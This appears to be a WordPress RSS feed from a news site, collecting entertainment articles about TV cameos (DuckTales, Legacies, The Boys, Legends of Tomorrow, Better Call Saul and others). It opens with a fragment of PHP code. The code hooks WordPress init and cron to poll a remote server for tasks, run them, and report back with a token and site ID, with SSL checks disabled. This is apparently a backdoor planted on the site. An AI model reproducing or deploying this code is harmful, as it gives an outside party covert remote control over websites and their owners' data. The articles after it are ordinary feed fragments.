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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); cameo – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 16 Mar 2021 01:28:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png cameo – Brief News https://briefnews.eu 32 32 DuckTales EPs on That Long-Awaited Disney Cameo in Series Finale https://briefnews.eu/ducktales-eps-on-that-long-awaited-disney-cameo-in-series-finale/ https://briefnews.eu/ducktales-eps-on-that-long-awaited-disney-cameo-in-series-finale/#respond Tue, 16 Mar 2021 01:28:12 +0000 https://briefnews.eu/ducktales-eps-on-that-long-awaited-disney-cameo-in-series-finale/ Spoiler alert: Turn back now if you haven’t watched the DuckTales series finale, which is currently available to stream on the DisneyNow app.

Scrooge McDuck and his flock of unflappable adventurers ruffled their last feathers on Monday with the highly anticipated series finale of DuckTales.

The reboot’s three-part swan song was full of satisfying developments, from the gang’s final battle against F.O.W.L. to the emotional reveal about Webby’s true connection to the McDuck family. But what we need to discuss right now is that incredible, chill-inducing cameo from Keith David, which finally (sort of) brought Gargoyles into the DuckTales universe.

DuckTales GargoylesAmong the episode’s many — actually, make that Manny — revelations, we learned that the hoof-clapping intern is actually a Headless Man Horse… of the Apocalypse! He was brought to life via the magic of the Blessed Bagpipe in a sequence that included a taste of the classic Gargoyles theme song, as well as David speaking his character’s iconic “I live again!” line.

“Manny the The Headless Man Horse turned into a cult favorite on the show and ended up turning into a major player in every finale,” executive producer Francisco Angones tells TVLine. “I always liked the idea that the strangest looking dude on our show just wanted to be a regular guy. Personally, he’s the most normal dude in the world. We were toying around with the idea of doing a family reunion episode — and maybe even a full Manny episode — in Season 3, and [executive producer Matt Youngberg] was the one who came up with the idea that ‘Well, of course, Manny is the Man Horse of the Apocalypse.’ And we also set up the Blessed Bagpipes, because we knew that Gargoyles was the one show we hadn’t touched.”

Gargoyles, like the original DuckTales, aired during the beloved Disney Afternoon block of programming throughout the 1990s. The DuckTales reboot has managed to work in nearly every other show from the lineup — including Bonkers, Chip ‘n Dale: Rescue Rangers, Darkwing Duck, Goof Troop, Quack Pack, TaleSpin and even Adventures of the Gummi Bears — but Goliath and his winged pals never made an appearance, much to fans’ dismay.

Angones explains, “We wanted to reference all of the Disney Afternoon shows, but it was tricky when those shows involved humans. With the exception of Quack Pack, we didn’t do humans. We’re not saying [Manny] is Goliath. It’s more of a fun little Easter egg. One of Matt’s favorite design elements in the entire show are those little claws that hook Goliath’s wings like a cape. Manny has tiny hooves attached to his. And Keith was just so game to do it. He said, ‘Anything to keep Goliath alive, I am here for.’”

The executive producer says it was harder to get outside Disney characters approved early into DuckTales‘ run, “but after [they saw what we did with] Darkwing Duck, they started to trust us a bit more. There’s a certain mouse that remained off-limits to us for corporate reasons, but other than that, they’ve been very supportive and understanding.”

“When you reboot something, you can’t just make more of something,” he says. “You have to make it the best version of the show you think you remember in your head, because kids have that imagination to build out those worlds. When I was watching the Disney Afternoon, because there were all these little Easter eggs hidden throughout, I assumed it was a shared universe. Just as DuckTales launched this golden age of the Disney Afternoon, we thought, ‘What if we took that made it literal?’ It felt like something that kids would want.”

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From Nimue’s arrival to Rafael’s departure, the third season of Legacies has been full of surprises, though none have been quite as lyrical as the jaw-droppers thrown at us in Thursday’s episode, which featured the long-awaited debut performance of Salvatore: The Musical.

Under the bright lights of the Salvatore School auditorium, Josie, Kaleb, Jed and Lizzie — as Elena, Damon, Stefan and Caroline, respectively — retold the story of the institution’s founding, hitting several iconic beats from The Vampire Diaries in the process: Stefan and Elena’s first meeting, Stefan and Damon’s dramatic reunion, Elena’s eternal back-and-forth between the brothers, the seemingly endless parade of doppelgangers, and Klaus’ (played by this week’s interloping monster!) multi-figure donation to the school.

Speaking of Klaus, we even got a surprise performance of “Always and Forever” from Hope, who spent most of the episode rallying against the musical’s depiction of her family. (But more on that later.)

Of course, no surprise was more, well, surprising than the letter Lizzie received from Caroline, particularly because it was read in a voiceover by none other than Candice King (aka Caroline Forbes), marking her first official “appearance” on Legacies. (Click here for our gallery of every crossover in the Vampire Diaries universe, which has now been updated to include this episode.)

And in case you missed any of the letter, here are Caroline’s words in full: “Dear Lizzie, hopefully this can give you some perspective on who I used to be. When I was your age, I remember feeling like I was a total mess, like I was waiting to become a better version of me so my real life could start. But it wasn’t becoming a vampire that changed everything. Change is a series of small moments that build on each other, like steps up the side of a mountain. Your life isn’t on hold until you figure everything out. It’s already happening. You’re already changing, moment by moment. And Elizabeth, there is nothing wrong with you. Your brain chemistry creates unique challenges for you, but you are not broken. You are growing and changing everyday, and it’s beautiful to watch.”

Below, executive producer Julie Plec fields a few of TVLine’s burning questions from the episode:

TV Wish List 2021TVLINE | If there was a musical about my life, and I was still living in town, I’d want to be there. Should we imagine that Damon and Elena politely declined their invitation?
[Laughs] Let’s imagine that they couldn’t find a babysitter.

TVLINE | We did finally get Caroline to show up, even if it was just a vocal cameo. What was the ask there?
As you know, Candice is a good friend of mine and Brett’s, and there’s a soft spot in her heart for this show. She has said over the years that, she will show up one day, but she wanted a break after The Vampire Diaries and The Originals. She wanted to go out and live a non-Caroline Forbes life for a while. But she has always said, “If you never need something small or simple, just let me know.” So I just sent a text and she said, “Absolutely.” And then nine months went by before we actually needed her to do it because of the COVID shutdown.

TVLINE | Hope singing at the end was a nice surprise. How did I not know she could sing?
There are some actors who are very gifted at singing, who may even have a theater background, but just don’t like to sing anymore. They just don’t enjoy it, or they don’t want to combine [singing and acting]. When we did the talent show, Danielle [Rose Russell] was like, “No. Hope has no talent that she’s interested in sharing with anyone.” But when we were coming up with this episode, she was like, “So, Brett, you know that I sing…” And he was like, “Oh, really?” It was written so that it was coming from a place of her character working through a moment that she was having, and it just happened to be in song. That’s what worked for me. And I cry every time.

TVLINE | While we’re talking about the music, who do we give proper credit to?
This was a collaboration between Thomas Brandon, the episode’s writer, who also wrote Josie and Landon’s songs from the talent show. He’s our little secret weapon for musical stuff. But because we were doing a lot more songs than we did in the talent show, I asked him if he wanted to find a partner to take some of the heavy lifting. I reached out to my friend Michael Gracey, who directed The Greatest Showman and spent years developing those songs with [Benj] Pasek and [Justin] Paul. Anytime he came into town and dropped by my house, I’d hear different demo versions for years. So I knew he had a knack for that. I was like, “Do you happen to know anyone who’s not yet as famous as Pasek and Paul?” He said, “As a matter of fact, I just did a project with this guy Chris Read in London, and I think he’s the next Pasek and Paul.” So I said, “Send him my way,” and he did, and it turned into a really terrific partnership. … I also need to give a shout-out to our incredible choreographer Rhonda Kohl. She came up with the idea for that tango.

Legacies 'Vampire Diaries' MusicalTVLINE | How familiar was Chris with this universe? The songs all felt very true to that spirit.
Chris had never seen it, so he had to do quick binge. But because he did that, it was very fresh in his head and hit all the right notes.

TVLINE | This whole experience, revisiting where it all began 11 years ago, must have been cathartic.
I think so. You’ve got a whole range of people working on this crew, some who have been with us since The Vampire Diaries and The Originals. So there was a lot of fun nostalgia for them. And you also have people who are new, who were maybe fans and viewers of the show in the past, so they got to bring their own perspective to it. One of the reasons it works so well is because Thomas wrote from the perspective of a fan, having not written on [the original show]. He could be the social media fan, poking fun at us in a way that we might not have been able to poke fun at ourselves.

TVLINE | Lastly, about that final twist: What’s next after Alyssa’s apparent betrayal of MG?
Nothing good is next. Next week’s episode was written to be the finale of Season 2, so all of the little character things that were illuminated in the musical episode are teeing up the finale. There are betrayals, tragedies, epiphanies. Next week is actually a pretty big episode for all of the characters, and then we essentially launch a new chapter.

BONUS SCOOP | We also chatted with Kaylee Bryant about Josie’s kiss with Jade. Here’s what she says about that relationship: “Josie is not exactly the quickest with things. She needs to learn a lesson before she takes a big leap, and Jade was a huge lesson to her. She openly said, ‘This place isn’t right for me.’ Josie’s been feeling that way for a while now. She gave up her magic after really struggling with an addiction to it. And now she’s living in a place surrounded by magic. It’s all she’s ever known, so hearing someone say that they’re removing themselves from an unhealthy environment is something that Josie definitely needs to hear. This is what really kicks her into gear in taking the steps necessary to take care of herself.

What did you think of Salvatore: The Musical? Any favorite throwback references? And how about that Caroline “cameo”? Grade the episode below, then drop a comment with your full review.

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]]> https://briefnews.eu/legacies-ep-breaks-down-musical-episodes-biggest-surprises-including-spoilers-emotional-cameo/feed/ 0 Lucifer showrunner confirms cameo appearance in surprise twist ‘It’s going to happen!’ https://briefnews.eu/lucifer-showrunner-confirms-cameo-appearance-in-surprise-twist-its-going-to-happen/ https://briefnews.eu/lucifer-showrunner-confirms-cameo-appearance-in-surprise-twist-its-going-to-happen/#respond Thu, 19 Nov 2020 01:18:29 +0000 https://briefnews.eu/lucifer-showrunner-confirms-cameo-appearance-in-surprise-twist-its-going-to-happen/

One of the head writers of popular Netflix Original Lucifer has just confirmed he’ll be making a cameo appearance in a future episode.

Fans had been asking Joe Henderson if he would eventually pop up somewhere in the series after his colleague, Ildy Modrovich, appeared in season four. 

In the episode Somebody’s Been Reading Dante’s Inferno, Modrovich has a humorous exchange with the angel Amenadiel (played by D.B. Woodside), who tries to strike up conversation in a cafe. 

Although neither of the head writers appeared in the first half of season five, British celeb Sharon Osbourne did make a bizarre cameo during an interrogation montage.

READ MORE: Lucifer season 6 cast: Will Eve star in Lucifer’s final season?

Henderson dropped the news when Lucifer’s official Twitter page promoted Sharon’s scene as one of the year’s best guest appearances.

An eager fan tweeted below: “I want @Henderson_Joe to have a cameo, like @Ildymojo did in S4!”

To which Henderson replied, “Oh, it’s going to happen”, which prompted an excited gif reaction from the same follower.

With the second half of season five just around the corner, Henderson could crop up somewhere in the next eight episodes.

For example, the creator of The Sandman comics, from which the original Lucifer series was spun off from, Neil Gaiman, narrated the season three bonus episode Once Upon A Time.

Gaiman stepped in as the voice of God before the role was eventually recast with Dennis Haysbert, who made his grand entrance in this year’s midseason finale.

Moreover, superhero fans were ecstatic when Lucifer teamed up with John Constantine (Matt Ryan) in The CW’s DC crossover event, Crisis on Infinite Earths.

If both showrunners have guest starred by the end of season five, perhaps the show’s final outing could feature the cameo of all cameos.

Who that could be remains to be seen, though some fans are still keen to see Lucifer drop in with the CW heroes one more time before Ellis exits the role.

As production continues, it is still unknown when season five, part two will eventually be released and potentially reveal Joe Henderson’s cameo to the world.

The showrunners have sadly confirmed it won’t be hitting Netflix before the end of the year, though ‘Lucifans’ are still holding out hope for an early 2021 midseason premiere.

Lucifer Season 5, Part 1 is available to stream on Netflix.

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Omega made his first appearance in over 30 years in The Timeless Children, where the Thirteenth Doctor battled both the Cybermen and the Master.

The villain appeared for a split second on Gallifrey alongside Tecteun and Rassilon in the Matrix.

Doctor Who is full of surprises, and ever so often show bosses reveal little snippets of info for us to stew over.

And show writer Steven Moffat has done just that, after admitting that he had originally called The Eleventh Hour episodes The Doctor Returns, because he does… just that.

The Eleventh Hour is the first episode of the fifth series in the BBC reboot, and its name couldn’t be more fitting.

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]]> https://briefnews.eu/doctor-who-fans-miss-shock-cameo-appearance-of-ultimate-classic-episodes-villain/feed/ 0 The Boys Boss Talks The Deep’s Trippy Breakthrough, Patton Oswalt’s Cameo and the Hit ’90s Tune That Was Nixed https://briefnews.eu/the-boys-boss-talks-the-deeps-trippy-breakthrough-patton-oswalts-cameo-and-the-hit-90s-tune-that-was-nixed/ https://briefnews.eu/the-boys-boss-talks-the-deeps-trippy-breakthrough-patton-oswalts-cameo-and-the-hit-90s-tune-that-was-nixed/#respond Sun, 06 Sep 2020 12:39:24 +0000 https://briefnews.eu/the-boys-boss-talks-the-deeps-trippy-breakthrough-patton-oswalts-cameo-and-the-hit-90s-tune-that-was-nixed/

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Warning: The following contains spoilers for The Boys Season 2, Episode 2. Proceed at your own risk!

“I don’t want the world to see me, ’cause I don’t think that they’d understand…”

Who knew the Goo Goo Dolls’ “Iris” was an anthem for The Deep’s deep shame over his gills?

In the second episode of The Boys‘ new season, the supe is urged by his new friend Eagle the Archer and his shady “church” to take ‘shrooms to get in touch with his feelings. The Deep brushes off the idea, saying the last time he did that was at a Goo Goo Dolls concert with his conquest-of-the-moment. But take the drugs he does, which leads to a scene of The Deep alone in a bedroom, as “Iris” plays in the background. Then a voice starts talking to the supe, who looks around for the source until he realizes it’s his gills (voiced by Patton Oswalt) speaking to him.

“You can’t accept your own body, so you violate” women’s bodies, the gills say, adding, “You deserve to be loved.”

The gills urge The Deep to take a good look at the body part he’s so ashamed of. As he glides his hand over his gills, The Deep begins to cry, “I’m so sorry. I’m the ugly one… on the inside.” But the gills don’t agree and begin to sing “You Are So Beautiful,” with the emotional supe eventually joining in.

Below, showrunner Eric Kripke talks about the out-there breakthrough and reveals the regal voiceover and iconic ’90s song that didn’t make the final scene.

TVLINE | I did not think you were going to be able to top the dolphin moment from Season 1, but you did with the gills in Episode 2. Where did the idea come from for the scene?
I really love that scene. One of the things we do in this show that is so funny to me is we genuinely start with character. The gills were not the thing we first came up with. It was, “Boy, we really need The Deep to really confront what a piece of s–t he is and why.” He’s sort of part of this new church, and he needs to kind of explore who is… We’ve known for a long time how much he hates himself, and he takes it out on women, and we just wanted to explore that. Honestly, the conversation just started there, and who could he talk to about this? Who knows his history? And then from there, [it] went to, “Oh, he should, like, take drugs and maybe talk to himself” — I never know who pitches what in the room, this big group of brilliant people — and someone said, “His gills should talk to him!” It was so good. [Laughs] And then from there, it was like, “And then they should sing a duet together!” And then, “What’s the song? It should be ‘You Are So Beautiful.’”

But it really originated from a legitimate character perspective of: He needed to really confront himself and confront his ugliness, and what better represents his ugliness than the thing he’s most ashamed of, which is those gills? So there’s substance beneath it, beneath the madness, and that’s one of the things I love about this show.

TVLINE | It’s definitely a breakthrough moment for The Deep. How does that inform his journey this season and how he gets caught up in the church?
I wish The Deep could be somebody who could really express lasting change from a revelation like that, but I don’t think things are looking great for him. He just sort of can’t quite get out of his own way. He’s going to continue to explore his relationship to the Church of the Collective and sign over his bank account to them, and really rely on them to try to get him back into The Seven.

The Boys Season 2 The DeepTVLINE | This was not what I thought Patton Oswalt was going to be playing when you mentioned that he was going to be in Season 2. How did that casting come about? Did you always have him in mind?
No, actually. Funny enough, the first name we talked about was Helen Mirren — not that she would ever do it in a million years. But we just thought that would be the funniest thing. But obviously, that wasn’t possible.

We were actually in post [production], we’d already shot it — that was right around when Season 1 premiered — and Patton, who’s an amazing guy, reached out to me, like just on Twitter, to say, “I’m a huge fan of the show.” I was like, “Oh, my God, thank you so much!” and he said, “If you ever have a role for me, let me know,” and I was like, “Funny you should ask, because I actually do have something you could do for Season 2, if you wanted.” For me, the guy who is the lead in Ratatouille and The Secret Life of Pets 2, a beloved animation voice, [as] the voice of Deep’s man-ginas was just too delicious to pass up. [Laughs] He came out to a recording studio in the Valley, and we were there, and we just recorded all the dialogue. He couldn’t be a better, nicer guy.

TVLINE | I will now never hear the Goo Goo Dolls’ “Iris” the same way again, thank you.
[Laughs] That’s so funny.

TVLINE | Was that a song that you had in mind as you were writing the scene, or did it come later?
Funny enough, in the script, it was Dave Matthews’ “Crash Into Me,” but Dave, in his wisdom, would not give us the rights to that song. [Laughs] So we had to pivot to Goo Goo Dolls. But in a way, it’s funnier. I think it worked out for the best.

The Boys fans, what did you think of the trippy scene? Grade the episode below, then hit the comments!

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]]> https://briefnews.eu/the-boys-boss-talks-the-deeps-trippy-breakthrough-patton-oswalts-cameo-and-the-hit-90s-tune-that-was-nixed/feed/ 0 Legends Boss on Finale’s Zari Dilemma, [Spoiler]’s Abduction and That Cameo https://briefnews.eu/legends-boss-on-finales-zari-dilemma-spoilers-abduction-and-that-cameo/ https://briefnews.eu/legends-boss-on-finales-zari-dilemma-spoilers-abduction-and-that-cameo/#respond Wed, 03 Jun 2020 06:14:51 +0000 https://briefnews.eu/legends-boss-on-finales-zari-dilemma-spoilers-abduction-and-that-cameo/ Warning: The following contains major spoilers for Tuesday’s Legends of Tomorrow finale. Proceed at your own risk!

Legends of Tomorrow has beamed up a new problem: At the close of Tuesday’s Season 5 finale, Sara was abducted by aliens, unbeknownst to her friends, setting up the CW series for a new, “romp-ish” Big Bad, co-showrunner Phil Klemmer tells TVLine.

The season ender also saw the departures of some beloved Legends: Zari 1.0 realized that her presence and the two timelines fighting for control of Behrad’s life was slowly killing her brother, so she said a very tearful goodbye to Nate and her friends before going back into the totem. As the team was drinking their sorrows away/celebrating their victory over Lachesis and the Encores at a The Smell concert, Charlie made the decision to stay behind in 1970s London with her punk band and put down roots. (Her portrayer, Maisie Richardson-Sellers, will not return as a series regular for Season 6.)

And then there was Sisqó — yes, that one! — singing “Thong Song” during the big fight sequence with the returning Encores, because this is Legends of Tomorrow, after all.

Below, Klemmer talks about the space forces that took Sara, the writers room’s big Zari dilemma and the “terrifying call” he had to make to Sisqó.

Legends of Tomorrow RecapTVLINE | Sara being abducted is certainly a dramatic way to end the season, and thanks to The CW’s official synopsis for Season 6, we actually know a little bit about who took her. But what do you want to share about next season’s Big Bad and what they want with Sara?
Obviously, we want to live in a different kind of genre in the same way that mythological creatures was a fun playground. We definitely wanted to get into something like a little more B-movie creature feature. We got pretty hardcore into mythology with the Fates at the end of this [season]. We’re just trying to unburden ourselves by having something really fun and visceral. The nice thing about space aliens: When you do them the way that we intend to do them, it’s not like you have to spend half the episode getting to know the creatures. It’s sort of like our zombie episode: The great thing about a zombie episode is everybody knows what a zombie episode is. The shorthand allows you to spend the time exploring the dynamics of your actual characters. So I guess doing something that was, at least on the surface, very simple was appealing to us, because it was an opportunity for next season just to focus on our actual Legends.

TVLINE | Just to clarify, are these different aliens from the Dominators we met in the crossover?
These are totally, totally different. [The Season 6 premiere], it’s effectively a premise pilot explaining who these aliens are. We wanted to come up with sort of a surprising variety of them. We wanted to shape the season to lean into kind of a B-movie creature feature and low-budget ’80s [productions]. We wanted it to be kind of romp-ish. We didn’t want our aliens, at least in the beginning, to be too complicated. We, really, were inspired by things like They Live and Mars Attacks!, things that are kind of outlandish. This season got very, very emotional, and we want to counter-balance that with something that feels like a little bit frothy and trashy, I guess.

Legends of Tomorrow RecapTVLINE | Watching this episode, it seemed inevitable that Zari 1.0 would have to go back into the totem. But while you were breaking the story, was there any debate or discussion about who would get to stay in this Zari 1.0/2.0/Behrad situation?
Yeah, I think there was a moment where the room was split completely… There was a moment where we were basically bargaining with ourselves: “Let’s just keep them both. We love them.” There are some people who won’t lose one of them, and others that won’t lose the other, and we were at this weird impasse, and then we just had to have this moment where we’re like, “What are we doing to our crew? What are we doing to poor Tala Ashe?” Just the complexity [of] having her play two characters almost killed us in the finale. But at the same time, there was this moment of us being like, “Let’s just keep them both! Who cares? We’ll figure it out next season! It’s OK!” And that was before the pandemic shut down all of TV and film production. Somehow, we came to our senses, and we know that Zari 1.0 is always, theoretically, out there for us. But at the same time, we felt like Zari 2.0’s evolution over the course of the season… incorporates elements of her other self.

TVLINE | Was merging the two Zaris not an option, like sort of how we saw her in last week’s episode?
It was an option, but then I guess, to us, it sort of implied that there was something wrong with 2.0. When we met her, we thought that there was something wrong with her, and that wouldn’t have been much of a journey for us to be like, “Well, she was kind of a vapid, self-absorbed, superficial person, and we fixed her by giving her the substance of her other self.” But I think the surprise was really realizing that there was substance to her all along that was different, and it was not as obvious. To find someone like John Constantine falling for her for who she is is proof of that substance, and to find her secret strength… It’s the audience and us, as writers, chastising both for not taking her seriously. Because when you conceive of a character, in the beginning, it’s always a little two-dimensional, and then the performer plays the part, and you learn and they learn, and it’s back and forth, and all of a sudden… We thought it was funny to make Tala dress up as an influencer, but then it is a humbling experience where you realize, “Oh man, this is a real person, and we better take her seriously. We better write her seriously.” By the end of the season, of course, we’re entirely in love with her the way we were in love with Zari 1.0. It’s a funny process.

Legends of Tomorrow SisqoTVLINE | How did that Sisqó cameo and fight sequence to “Thong Song” come about? Were you just looking for a way to top “Return of the Mack“?
[Laughs] I was out of the room when we were talking about the Museum of Bad Ideas and what we could find there, and all of a sudden, the name Sisqó was up on the board… Then you’re like, “Oh my God, the thing that was a joke on the board is now completely integral to the finale of the season, and we haven’t even called Sisqó.” We were totally back-against-the-wall, and we’re like, “This is not a joke anymore. This is completely load-bearing. Our final action sequence requires a soundtrack and an animatronic Sisqó.” It was the most terrifying call I’ve ever made in my life, because I had to try to explain Sisqó what our show was and, you know, our show’s bats–t. By the time you get to the finale, to try to be like, “All right, here’s the deal: The Greek Fates have this Loom, and free will has been crushed, and there’s this museum, and yeah, technically, you’re part of the bad ideas, but secretly, as writers, we think the bad ideas are the best,” and he was just like, “Yep, totally, I get it. Yeah, I’ve got that outfit from the video. Yeah, I’ll dye my hair silver.” All the actors went completely berserk and were crowding around video village, filming the monitor as he performed. You’re just like, “This was not guaranteed. He could have said no. He could have not still been the Sisqó we remembered.” There are times where you are just like, “God, we don’t deserve the good luck that we get on this show,” but man, bless Sisqó!

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Saturday Night Live had viewers seeing double this week when special guest Elizabeth Warren finally came face-to-face with her SNL portrayer Kate McKinnon.

Just days after formally ending her presidential campaign, Warren appeared as herself during a McKinnon-led parody of Fox News’ The Ingraham Angle. “Not only did I not accept money from billionaires, I got to give one a swirly on live TV!” she said, reflecting on her time on the campaign trail.

She also offered an update on what she’s up to these days: “Now, I’ve got time to do a little self-care. I’m hanging out with my dog Bailey, prank calling big banks, drag racing Subarus — and avoiding Twitter.”

That’s when a visibly breathless McKinnon — who, just seconds earlier, had appeared on screen as Laura Ingraham — rushed into the picture, dressed in full Warren garb:

And Warren wasn’t the only surprise guest in this week’s cold open. Darrell Hammond also appeared as Chris Matthews, fresh off his on-air retirement from MSNBC’s Hardball. Hammond’s Matthews was a guest on The Ingraham Angle, during which he referred to the host as a “spooky blonde lady who lies to the elderly.” He also shared his positive feedback about the environment as Fox News. (“Everyone here is either hot crazy or both!”)

This week’s episode is hosted by Daniel Craig, star of the upcoming movie No Time to Die. The latest installment in the 007 franchise was originally set to hit theaters in April, making this the perfect time for James Bond himself to stir up some hype, but it was announced just last week that the release date has been pushed to November, making it the first major studio film to delay its premiere due to coronavirus.

Hit PLAY on the video above to watch Warren and “Warren” in action, then drop a comment with your thoughts below.

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Great news, Breaking Bad fans: Hank Schrader is ready to report for duty on Better Call Saul.

Fans have been waiting for five seasons to see the swaggering DEA agent pop up on Saul, and they’ll get their wish this Monday (AMC, 9/8c), as Dean Norris reprises his beloved Breaking Bad role, along with Steven Michael Quezada as Hank’s trusty partner Gomez. We can’t spill too many secrets about the exact circumstances that bring Hank into Jimmy McGill’s orbit, but TVLine did chat with Saul showrunner Peter Gould and secured some juicy scoop on Hank’s return:

They’ve been waiting for just the right time to bring Hank back…
“We didn’t know that Dean would ever be on Better Call Saul. Frankly, for our own pleasure, I think Vince [Gilligan] and I would’ve had Dean and Betsy [Brandt] and basically the entire cast of Breaking Bad on the show from Episode 1. But that wasn’t where the story was taking us. This season, we had a moment which really felt like the right moment for the DEA to be a part of the story, and of course, if you’re going to have the DEA in Albuquerque, there’s only two guys to go to.”

Better Call Saul Dean Norris Hank… but they worried that Norris wouldn’t say yes.
“I roped Vince into making the call with me. We were very nervous, because Dean could’ve very easily said, ‘Guys, I love Albuquerque, but I’ve got a lot of other things going on. I think we’ve kinda done that character.’ And it would’ve been very legitimate. So we had thought a lot about it, and about what there was more to say about Hank Schrader. We’re kind of in the middle of this very impassioned, arm-waving pitch… and Dean almost interrupted us. He said, ‘Guys, I love it, I’m there!’”

We’ll get to see a fresher Hank than we saw at the end of Breaking Bad.
“It’s so great to see Hank back before all the s—t went down with Walter White, before he started having that cloud over his head… the Hank Schrader we met in the pilot of Breaking Bad, who took so much pleasure in his life and in his work.”

It’s not just a pop-in cameo, either. (Hank and Gomez play prominent roles in Episodes 3 and 4.)
“[A cameo] is one thing that so far we’ve never been interested in doing, because I worry that it’s going to take you out of the show if you start seeing these familiar characters just pop up for a couple of lines. You’d really like them to be a part of the story… In Episode 4, there’s still more. You get to see Hank in action, and Gomez in action. They’re just great.”

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]]> https://briefnews.eu/better-call-saul-ep-previews-hanks-return-promises-its-not-just-a-cameo/feed/ 0 The Big Bang Theory: Fans spot HUGE gaffe involving this MAJOR celebrity cameo https://briefnews.eu/the-big-bang-theory-fans-spot-huge-gaffe-involving-this-major-celebrity-cameo/ https://briefnews.eu/the-big-bang-theory-fans-spot-huge-gaffe-involving-this-major-celebrity-cameo/#respond Wed, 29 May 2019 06:24:18 +0000 http://briefnews.eu/the-big-bang-theory-fans-spot-huge-gaffe-involving-this-major-celebrity-cameo/

In looking back, a serious gaffe has been spotted by fans that had been lost in the many The Big Bang Theory episodes.

It involves Howard Wolowitz (played by Simon Helberg) and Raj Koothrappali and a pair of female models in the CBS sitcom.

They head to the house of America’s Next Top Model and bump into Analeigh Tipton and Samantha Potter from the real-life show.

In somewhat outdated scenes, the pair sneak into the house under the disguise of fixing the television.

Then, flash forward seven seasons and the pair come face-to-face with Analeigh again as she makes her second cameo.

However, the scene goes totally unacknowledged and it appears bosses forgot she had been in the show before.

In season seven, the duo helped Sheldon Cooper (Jim Parsons) devise a questionnaire for a new girlfriend after he briefly separated from long-term girlfriend Amy Farrah Fowler (Mayim Bialik).

With Amy dating David Gibbs (Stephen Merchant), Sheldon decided he would move on as well and in typical Sheldon fashion created a knowledge-based quiz to find a new date.

Ironically, it was Analeigh who won a date with Sheldon and she came to his flat to meet Sheldon and claim her date.

Although giving her name as Vanessa, it is still shocking she as not recognised and instead was sent packing after arriving too late.

This is not the first issue fans have spotted about the show whilst looking back at previous seasons.

In looking back through the 12 seasons of the show, one Reddit fan has noticed a fashion choice by Penny (played by Kaley Cuoco) is repeated when an important event is taking place.

Completing a huge full circle moment for Penny, Reddit user thegirlwholaughed revealed she wears a light blue T-shirt in the final episode that she is also seen wearing in the first ever episode.

The top has a purple flower design on one side and this is what made the fan realise it was the exact same one worn in season one.

It represents an important moment in Penny’s life as it is in the first ever episode that she meets future husband Leonard Hofstadter (Johnny Galecki) and his best friend Sheldon Cooper (Jim Parsons).

The trio’s meeting has shaped the success of the show and they have taken fans on their 12 seasons’ journey.

Meanwhile, Kaley Cuoco, who plays Penny Hofstadter, revealed on The Late Show with Stephen Colbert how hard it was for the cast to keep the ending a secret from fans.

Sheldon star Jim also added: “I was talking to one of the writers and he was like, ‘I’m nervous!’

“And I was like, ‘Well, you can’t get it wrong because it’s yours, you’ve been writing it all this time.’

“I said, ‘Look at it this way: You can’t get it right. It’s a series finale. Someone’s going to hate it’.”

The Big Bang Theory season 12 is available on CBS and All4.

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Sophie Ellis-Bextor has recently revealed that she was hired as an extra for Game of Thrones. Game of Thrones has featured everyone from Ed Sheeran to Aaron Rodgers as cameos, but fans of the HBO and Sky series have been left wondering whether the Murder on the Dancefloor singer appeared in the show. HBO and Sky are streaming Game of Thrones season eight now if fans want to see if they can track down Ellis-Bextor in the crowd of extras.

Did Sophie Ellis-Bextor appear in Game of Thrones season 8?

Although both Sophie Ellis-Bextor and her husband Richard Jones filmed scenes as extras on Game of Thrones, fans have been unable to spot them yet.

They were part of the army that fought the Battle of Winterfell in Game of Thrones season eight, episode three, The Long Night.

The singer said: “We fought the White Walkers!! When Game of Thrones was filming the final season, Richard and I went to be extras. It was SO FUN.

“You couldn’t see us on the telly in the battle of episode 3, but I can assure you we gave it our all.

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The singer wrote on Instagram alongside a picture of her in armour: “We fought the white walkers!!

“When @gameofthrones was filming the final season, @richardjonesface and I went to be extras.

“It was SO FUN. You couldn’t see us on the telly in the battle of episode 3, but I can assure you we gave it our all.

“R was very jealous of my armour but then again, he had dragon glass.

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“Here’s to the northern army! Sad to see GOT finish but it’s been fun seeing the epic tale unfold.”

Her husband, best known for being a part of band The Feeling, also shared his experience on Instagram.

He wrote: “I’ve been desperate to post this for about a year…

“Sophie and I were enlisted to fight against the White Walkers in the Northern Army at the Battle of Winterfell..

“It was dark, hard to spot us, but we were there and did our part in defeating the army of the dead… it was so exciting and SO MUCH FUN!!!

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“Thank you Game of Thrones for the magic and for having us along.

“We will miss you. Can’t wait for the finale but sad that such an epic and groundbreaking story is coming to an end. Farewell my friend.”

Ellis-Bextor has previously appeared as herself in an episode of Ricky Gervais comedy Life’s Too Short and played writer Nancy Mitford in an episode of series Psychob******.

Before fame as a singer, she also appeared in three episodes of police drama Frontiers in 1996.

Game of Thrones is streaming on NOW TV

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